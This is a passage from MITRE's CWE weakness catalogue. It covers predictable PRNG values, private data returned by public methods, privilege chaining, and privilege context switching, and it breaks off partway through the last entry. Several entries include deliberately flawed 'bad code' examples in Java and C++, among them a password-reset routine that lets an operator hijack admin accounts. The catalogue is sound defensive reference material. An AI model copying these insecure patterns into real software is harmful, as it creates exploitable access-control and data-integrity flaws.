MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1152SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPredictable Seed in PRNG
The CERT Oracle Secure Coding Standard for Java (2011)MSC02-JGenerate strong random numbers
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". Annex C, Approved Random Number Generators. 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-1192] Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019-03-22. <https://csrc.nist.gov/publications/detail/fips/140/3/final>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Modes_of_Introduction, Name, References, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2021-07-20CWE Content TeamMITRE
updated Maintenance_Notes, Observed_Examples, Potential_Mitigations, References
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2017-11-08Predictable Seed in PRNG

CWE-343: Predictable Value Range from Previous Values

Weakness ID: 343
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.
+ Extended Description
The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.340Generation of Predictable Numbers or Identifiers
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1213Random Number Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Potential Mitigations
Increase the entropy used to seed a PRNG.

Phases: Architecture and Design; Requirements

Strategy: Libraries or Frameworks

Use products or modules that conform to FIPS 140-2 [REF-267] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

Phase: Implementation

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.905SFP Primary Cluster: Predictability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1414Comprehensive Categorization: Randomness
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPredictable Value Range from Previous Values
+ References
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-320] Michal Zalewski. "Strange Attractors and TCP/IP Sequence Number Analysis". 2001. <https://lcamtuf.coredump.cx/oldtcp/tcpseq.html>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 20: Weak Random Numbers." Page 299. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-07-20CWE Content TeamMITRE
updated Maintenance_Notes
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-495: Private Data Structure Returned From A Public Method

Weakness ID: 495
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product has a method that is declared public, but returns a reference to a private data structure, which could then be modified in unexpected ways.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

The contents of the data structure can be modified from outside the intended scope.
+ Demonstrative Examples

Example 1

Here, a public method in a Java class returns a reference to a private array. Given that arrays in Java are mutable, any modifications made to the returned reference would be reflected in the original private array.

(bad code)
Example Language: Java 
private String[] colors;
public String[] getColors() {
return colors;
}

Example 2

In this example, the Color class defines functions that return non-const references to private members (an array type and an integer type), which are then arbitrarily altered from outside the control of the class.

(bad code)
Example Language: C++ 
class Color
{
private:
int[2] colorArray;
int colorValue;
public:
Color () : colorArray { 1, 2 }, colorValue (3) { };
int[2] & fa () { return colorArray; } // return reference to private array
int & fv () { return colorValue; } // return reference to private integer
};

int main ()
{
Color c;

c.fa () [1] = 42; // modifies private array element
c.fv () = 42; // modifies private int

return 0;
}
+ Potential Mitigations

Phase: Implementation

Declare the method private.

Phase: Implementation

Clone the member data and keep an unmodified version of the data private to the object.

Phase: Implementation

Use public setter methods that govern how a private member can be modified.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.4857PK - Encapsulation
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPrivate Array-Typed Field Returned From A Public Method
Software Fault PatternsSFP23Exposed Data
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Name, Potential_Mitigations
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2019-01-03Private Array-Typed Field Returned From A Public Method

CWE-268: Privilege Chaining

Weakness ID: 268
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.269Improper Privilege Management
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

A user can be given or gain access rights of another user. This can give the user unauthorized access to sensitive information including the access information of another user.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

(bad code)
Example Language: Java 
public enum Roles {
ADMIN,OPERATOR,USER,GUEST
}

public void resetPassword(User requestingUser, User user, String password ){
if(isAuthenticated(requestingUser)){
switch(requestingUser.role){
case GUEST:
System.out.println("You are not authorized to perform this command");
break;

case USER:
System.out.println("You are not authorized to perform this command");
break;

default:
setPassword(user,password);
break;
}
}

else{
System.out.println("You must be logged in to perform this command");
}
}

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

+ Observed Examples
ReferenceDescription
Chaining of user rights.
Gain certain rights via privilege chaining in alternate channel.
Application is allowed to assign extra permissions to itself.
"operator" user can overwrite usernames and passwords to gain admin privileges.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

There is some conceptual overlap with Unsafe Privilege.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPrivilege Chaining
+ References
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations, Research_Gaps
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations, References
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, References, Relationships
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2022-10-13CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships

CWE-270: Privilege Context Switching Error

Weakness ID: 270
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.269Improper Privilege Management
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

A user can assume the identity of another user with separate privileges in another context. This will give the user unauthorized access that may allow them to acquire the access information of other users.
+ Observed Examples
ReferenceDescription
Web browser cross domain problem when user hits "back" button.
Web browser cross domain problem when user hits "back" button.
Cross-domain issue - third party product passes code to web browser, which executes it in unsafe zone.
Run callback in different security context after it has been changed from untrusted to trusted. * note that "context switch before actions are completed" is one type of problem that happens frequently, espec. in browsers.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

